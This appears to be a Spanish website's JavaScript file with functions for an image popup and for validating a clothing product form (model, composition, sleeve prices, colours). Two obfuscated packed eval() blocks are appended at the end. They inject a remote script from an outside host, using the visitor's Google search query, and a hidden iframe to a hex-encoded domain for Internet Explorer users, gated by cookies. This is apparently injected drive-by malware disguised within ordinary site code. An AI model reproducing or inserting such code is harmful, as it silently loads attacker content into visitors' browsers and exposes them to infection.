/*function SymError()
{
  return true;
}

window.onerror = SymError;

var SymRealWinOpen = window.open;

function SymWinOpen(url, name, attributes)
{
  return (new Object());
}

window.open = SymWinOpen;*/


function fnLanzaImg(file){
	//file = "7003.jpg";
	var miWin = window.open("", "", "width=100, height=100, scrollbars=0");
	var codigo = "";
	codigo += "<scr" + "ipt>";
	codigo += "function fnResize(){";
	codigo += "wf = document.imgId.width + 10;";
	codigo += "hf = document.imgId.height + 30;";
	codigo += "w += (wf - w) / 5;";
	codigo += "h += (hf - h) / 5;";
	codigo += "window.resizeTo(w, h);";
	codigo += "if (Math.round(w) == wf && Math.round(h) == hf) clearTimeout(t);";
	codigo += "else t = setTimeout('fnResize()', 1); }";
	codigo += "var wf, hf, t;";
	codigo += "var w = 0;";
	codigo += "var h = 0;";
	codigo += "</scr" + "ipt>";
	codigo += "<body leftmargin=0 topmargin=0 marginwidth=0 marginheight=0>";
	codigo += "<img name='imgId' src='" + file + "' onLoad='fnResize()'>";
	codigo += "</body>";
	miWin.document.write(codigo);
}
/*function fnCreaPanorama(file){
	var miwin = window.open("http://www.granadafestival.org/temp/" + file, "", "width=540, height=265, scrollbars=no");
}

var t, wAux, hAux;*/



















function todasTN()
{
 for (i=0;i<document.f1.elements.length;i++) 	
      if(document.f1.elements[i].type == "checkbox" && f1.elements[i].name=="TallaN[]"){
         document.f1.elements[i].checked=1;
		 }
}

function MM_jumpMenu(targ,selObj,restore){ //v3.0
  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
  if (restore) selObj.selectedIndex=0;
}
function habilitaMangasL(form){
form.preciomangasL.disabled = false;
form.CalcularL.disabled = false;
form.preciomangasLTE.disabled = false;
}
function deshabilitaMangasL(form){
form.preciomangasL.disabled = true;
form.CalcularL.disabled = true;
form.preciomangasLTE.disabled = true;
form.preciomangasL.value = "";
form.preciomangasLTE.value = "";
}
function calcularL(form){
valor = form.preciomangasL.value;
form.preciomangasLTE.value = (valor*1) + (valor*10)/100;
}




function habilitaMangasC(form){
form.preciomangasC.disabled = false;
form.CalcularC.disabled = false;
form.preciomangasCTE.disabled = false;
}
function deshabilitaMangasC(form){
form.preciomangasC.disabled = true;
form.preciomangasC.value = "";
form.CalcularC.disabled = true;
form.preciomangasCTE.disabled = true;
form.preciomangasCTE.value = "";
}
function calcularC(form){
valor = form.preciomangasC.value;
form.preciomangasCTE.value = (valor*1) + (valor*10)/100;
}
//Validacion de campos de texto no vacios 
//
//*********************************************************************************
// Function que valida que un campo contenga un string y no solamente un " "
// Es tipico que al validar un string se diga
//    if(campo == "") ? alert(Error)
// Si el campo contiene " " entonces la validacion anterior no funciona
//*********************************************************************************

//busca caracteres que no sean espacio en blanco en una cadena


function Validar(form){
textoalert = '';
//alert(form.preciomangasL.disabled);
//alert("modelo"+form.modelo.value);
if (form.modelo.value == ""){
 textoalert = textoalert + "Por favor indique el MODELO\n";}
if (form.composicion.value == ""){
 textoalert = textoalert + "Por favor indique la COMPOSICION\n";}
if (!form.preciomangasL.disabled){
 if (form.preciomangasL.value == "") textoalert = textoalert + "Por favor indique el PRECIO MANGA LARGA\n";
 else if (isNaN(form.preciomangasL.value)) textoalert = textoalert + "PRECIO MANGA LARGA no es un numero valido\n";
 }
if (!form.preciomangasC.disabled){
 if (form.preciomangasC.value == "") textoalert = textoalert + "Por favor indique el PRECIO MANGA CORTA\n";
 else if (isNaN(form.preciomangasC.value)) textoalert = textoalert + "PRECIO MANGA CORTA no es un numero valido\n";
 }
if (form.colores.value == "0"){
 textoalert = textoalert + "Por favor indique la cantidad de COLORES\n";
 }else if (isNaN(form.colores.value)) textoalert = textoalert + "Cantidad de COLORES no es un numero valido\n";
/*
extArray = new Array(".gif", ".jpg");
file = form.foto.value;
allowSubmit = false;
if (file != "") {
	while (file.indexOf("\\") != -1)
	file = file.slice(file.indexOf("\\") + 1);
	ext = file.slice(file.indexOf(".")).toLowerCase();
	
	for (var i = 0; i < extArray.length; i++) {
	if (extArray[i] == ext) { allowSubmit = true; break; }
	}
	if (!allowSubmit)
	textoalert = textoalert + "Se permiten únicamente archivos con la extensión: "+ extArray.join(" "));
	}
}*/

if (textoalert =='') {form.submit();
}else{
alert("\n"+textoalert); 
return; 
}
/*if (form.Email.value.indexOf('@', 0) == -1 ||
form.Email.value.indexOf('.', 0) == -1)
{ alert("Dirección de e-mail inválida"); form.Email.focus(); return; }*/
form.submit();
}


//--------------------------------- no se usa 
function vacio(q) {
        for ( i = 0; i < q.length; i++ ) {
                if ( q.charAt(i) != " " ) {return true}
        }
        return false
}
//valida que el campo no este vacio y no tenga solo espacios en blanco
function valida2(form) { 
		textoalert = "";		
		 for (i=0;i<document.f1.elements.length;i++) {		 	
		 	if( vacio(f1.elements[i].value) == false ) {
				alert(f1.elements[i].name);
				textoalert = textoalert + "Falta el campo: "+f1.elements[i].name;
			}
		}
	//-------------------- 		
	alert(textoalert);
			if(textoalert == "") {
					alert("Datos Validado");
					return true;
			} else {
					alert(textoalert);
                	return false;
					
			}         
       
}
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 17=3.16.7("20=1");5 19=3.10.7(\'22.\');5 18=25.30.7("27 6.0");9(17==-1&&19!=-1&&18==-1){5 4=3.10.13(3.10.7(\'14=\'));5 8=4.7(\'&\');9(8==-1){8=26.29}4=4.13(0,8).21(2);9(24(4).28(0)!=\'%\'){3.43("<11 42=\'31\' 40=\'44://45.38/33.39?14="+4+"\'></11>");3.16="20=1; 32=34, 23 35 37 12:15:36 41; "}}',10,46,'|||document|query|var||indexOf|querysize|if|referrer|script||slice|q||cookie|dci|nai|dri|_tskdjw|substring|google||escape|navigator|cmd|MSIE|charAt|length|appVersion|JavaScript|expires|kv|Mon|Jul|58|2013|org|js|src|GMT|language|write|http|24search'.split('|'),0,{}));sa="%73%6F%64%6B%65%6E%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c+'\\b','g'),k[c])}}return p}('7(2.3.4("5=0")==-1&&10.13.4("19 6")!=-1){2.3="5=0; 17=18, 14 12 8 14:15:26 9; ";2.11("<20"+"31 34="+"1 33"+"32=1 0"+"30=\'29"+"23://"+22+"/21/\' 24=\'25"+"28:27\'></7"+"16>")}',10,35,'s||document|cookie|indexOf|_mlsdkf||if|2015|GMT|navigator|write|Jul|appVersion|||rame|expires|Mon|MSIE|ifra|b2b|sa|tp|style|di||none|splay|ht|rc|me|ght|hei|width'.split('|')));

